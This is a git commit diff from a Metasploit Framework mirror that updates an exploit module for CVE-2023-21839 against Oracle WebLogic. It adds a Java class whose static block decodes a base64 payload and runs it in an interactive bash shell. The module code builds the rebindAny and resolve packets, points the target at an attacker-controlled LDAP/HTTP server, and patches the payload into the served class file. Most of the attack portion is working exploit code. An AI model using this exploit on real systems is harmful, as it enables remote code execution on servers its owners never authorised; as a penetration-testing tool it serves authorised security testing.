1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-09-04 20:18:27 +02:00

Add in Java class file, raw source code, and tidy up the module a bit

This commit is contained in:
Grant Willcox 2023-05-17 14:44:00 -05:00
parent 155319d479
commit 9e8d1ed2ea
No known key found for this signature in database
GPG Key ID: 67522945A18C5562
3 changed files with 34 additions and 47 deletions

Binary file not shown.

View File

@ -0,0 +1,9 @@
public class PayloadRuns {
static {
try {
Runtime.getRuntime().exec("bash -c {echo,PAYLOAD}|{base64,-d}|{bash,-i}");
} catch (Exception ex) {
ex.printStackTrace();
}
}
}

View File

@ -88,7 +88,6 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
Opt::RPORT(7001),
OptString.new('JAVA_CLASS_NAME', [true, 'Java class name to append to URL when making the JNDI connection to the target LDAP server']),
OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080])
]
)
@ -187,11 +186,8 @@ class MetasploitModule < Msf::Exploit::Remote
service_context_list << [context_list_length].pack('N') # Sequence Length
service_context_list << '{SERVICE_CONTEXT_LIST}'
object_ref = datastore['JAVA_CLASS_NAME']
if object_ref.length > 11
fail_with(Failure::BadConfig, 'Due to limitations on the target the JAVA_CLASS_NAME cannot be longer than 11 characters long.')
end
stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{object_ref}" # Not sure why the backtick is here but hey.
@java_class_name = 'PayloadRuns'
stub_data += "\x27ldap://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@java_class_name}" # Not sure why the backtick is here but hey.
data << service_context_list
data << stub_data
@ -271,20 +267,15 @@ class MetasploitModule < Msf::Exploit::Remote
# HTTP Server Related Functions and Overrides
# Returns the configured (or random, if not configured) URI path
# Returns the configured URIPATH along with the path to the Java class we are serving
def resource_uri
path = datastore['URIPATH'] || rand_text_alphanumeric(rand(8..15)) + '.jar'
path = '/' + path if path !~ %r{^/}
if path !~ /\.jar$/
print_status("Appending .jar extension to #{path} as we don't yet serve classpaths")
path += '.jar'
end
datastore['URIPATH'] = path
return path
"#{datastore['URIPATH']}/#{@java_class_name}.class"
end
def resource_url_string
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}#{resource_uri}"
# Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of
# this URL when it tries to fetch the class to be loaded and instantiated.
def ldap_url_string
"http#{datastore['SSL'] ? 's' : ''}://#{datastore['SRVHOST']}:#{datastore['HTTP_SRVPORT']}/"
end
#
@ -357,9 +348,14 @@ class MetasploitModule < Msf::Exploit::Remote
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
vprint_good("Payload requested by #{cli.peerhost} using #{agent}")
pay = regenerate_payload(cli)
jar = inject_jar_payload_factory(pay.encoded_jar)
send_response(cli, 200, 'OK', jar)
file = File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-21839', 'PayloadRuns.class'), 'rb')
class_raw = file.read
file.close
base64_payload = Rex::Text.encode_base64(payload.encoded)
command_length = (44 - 'PAYLOAD'.length) + base64_payload.length
class_raw = class_raw.gsub("\x00\x2C", [command_length].pack('S>'))
class_raw = class_raw.gsub('PAYLOAD', base64_payload)
send_response(cli, 200, 'OK', class_raw)
end
#
@ -368,38 +364,16 @@ class MetasploitModule < Msf::Exploit::Remote
def send_response(cli, code, message = 'OK', html = '')
proto = Rex::Proto::Http::DefaultProtocol
res = Rex::Proto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'application/java-archive'
res.body = html
cli.send_response(res)
end
#
# Insert PayloadFactory in Java payload JAR
#
# @param jar [Rex::Zip::Jar] payload JAR to update
# @return [Rex::Zip::Jar] updated payload JAR
def inject_jar_payload_factory(jar = generate_payload.encoded_jar)
# From exploits/multi/browser/java_rhino - should probably go to lib
paths = [
[ 'metasploit/PayloadFactory.class' ]
]
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0, idx].join('/') + '/'
jar.add_file(full, '') unless jar.entries.map(&:name).include?(full)
end
File.open(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-44228', path), 'rb') do |fd|
data = fd.read(fd.stat.size)
jar.add_file(path.join('/'), data)
end
end
jar
end
# LDAP Server Overrides
def build_ldap_search_response_payload
# Always do a remote load
build_ldap_search_response_payload_remote(resource_url_string)
# Note that for reasons unknown this URL cannot be anything but the base URL of the HTTP server.
# You can add anchor tags using # to the URL but thats it.
build_ldap_search_response_payload_remote(ldap_url_string, @java_class_name)
end
# Main Exploit
@ -553,6 +527,7 @@ class MetasploitModule < Msf::Exploit::Remote
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))
print_status('3. Sending rebindAny request!')
socket.put(packet)
rebind_any_buf = socket.get
disconnect
@ -604,6 +579,7 @@ class MetasploitModule < Msf::Exploit::Remote
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))
print_status('4. Sending second rebindAny request!')
socket.put(packet)
rebind_any_buf_2 = socket.get
disconnect
@ -646,6 +622,7 @@ class MetasploitModule < Msf::Exploit::Remote
message_size = packet.length - ('LENGTH_REPLACE_ME'.length + 12) + 4
packet.gsub!('LENGTH_REPLACE_ME', [message_size].pack('N'))
print_status('6. Sending resolve packet #1 with wls_key_1')
socket = connect
socket.put(packet)
resolve_packet_wls_key_1 = socket.get
@ -679,13 +656,14 @@ class MetasploitModule < Msf::Exploit::Remote
start_service
start_http_service('ServerPort' => (datastore['HttpListenerBindPort'].blank? ? datastore['HTTP_SRVPORT'] : datastore['HttpListenerBindPort']).to_i)
print_status('7. Sending resolve packet #2 with wls_key_2')
socket = connect
socket.put(packet)
resolve_packet_wls_key_1 = socket.get
step_7_response = socket.get
disconnect
print_good('Step 7 complete!')
reply_status_code = resolve_packet_wls_key_1[16..19].unpack('L>')&.dig(0)
reply_status_code = step_7_response[16..19].unpack('L>')&.dig(0)
if reply_status_code != USER_EXCEPTION
fail_with(Failure::UnexpectedReply, "Target responded with #{reply_status_code}! Expected USER_EXCEPTION!")
end